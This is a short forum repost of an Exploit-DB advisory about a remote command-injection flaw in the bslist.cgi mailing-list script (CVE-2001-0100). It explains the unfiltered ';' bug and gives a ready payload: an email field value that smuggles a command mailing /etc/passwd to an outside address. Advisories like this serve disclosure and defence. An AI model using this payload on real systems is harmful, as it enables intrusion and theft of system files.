Exploit Brian Stanback bslist.cgi 1.0 - Remote Command Execution

Exploiter

Хакер
34,599
0
18 Дек 2022
EDB-ID
20525
Проверка EDB
  1. Пройдено
Автор
RIVENDELL_TEAM
Тип уязвимости
REMOTE
Платформа
CGI
CVE
cve-2001-0100
Дата публикации
2000-12-20
Код:
source: https://www.securityfocus.com/bid/2160/info

An input validation vulnerability exists in Brian Stanback's bslist.cgi, a script designed to coordinate mailing lists.

The script fails to properly filter ';' characters from the user-supplied email addresses collected by the script.

As a result, maliciously-formed values for this field can cause the the script to run arbitrary shell commands with the privilege level of the web server. 

This can be exploited by signing up for the mailing list with the email address of

'[email protected];/usr/sbin/sendmail [email protected] < /etc/passwd'
 
Источник
www.exploit-db.com